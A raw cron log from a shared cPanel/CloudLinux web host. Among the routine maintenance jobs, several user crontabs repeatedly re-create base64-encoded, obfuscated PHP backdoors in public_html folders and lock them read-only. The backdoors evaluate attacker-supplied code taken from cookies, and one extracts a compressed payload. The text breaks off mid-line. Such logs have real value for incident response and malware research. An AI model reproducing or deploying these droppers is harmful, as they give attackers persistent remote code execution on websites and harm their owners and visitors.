Mar  2 13:55:01 medusa CROND[10058]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:55:01 medusa CROND[10055]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:55:01 medusa CROND[10060]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:55:01 medusa CROND[10065]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:55:01 medusa CROND[10066]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:55:01 medusa CROND[10069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:55:01 medusa CROND[10074]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:55:01 medusa CROND[10073]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:55:01 medusa CROND[10072]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:55:01 medusa CROND[10077]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:55:01 medusa CROND[10080]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:55:01 medusa CROND[10079]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:55:01 medusa CROND[10075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:55:01 medusa CROND[10086]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:55:01 medusa CROND[10095]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:55:01 medusa CROND[10089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:55:01 medusa CROND[10102]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:55:01 medusa CROND[10103]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:55:01 medusa CROND[10107]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:55:01 medusa CROND[10091]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:55:01 medusa CROND[10087]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:56:01 medusa CROND[23431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:56:01 medusa CROND[23534]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:56:01 medusa CROND[23736]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:56:01 medusa CROND[23737]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:56:01 medusa CROND[23738]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:56:01 medusa CROND[23742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:56:01 medusa CROND[23743]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:56:01 medusa CROND[23744]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:56:01 medusa CROND[23746]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:56:01 medusa CROND[23747]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:56:01 medusa CROND[23741]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:56:01 medusa CROND[23765]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:56:01 medusa CROND[23768]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:56:01 medusa CROND[23783]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:57:01 medusa CROND[8165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:57:01 medusa CROND[8167]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:57:01 medusa CROND[8168]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:57:01 medusa CROND[8169]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:57:01 medusa CROND[8170]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRf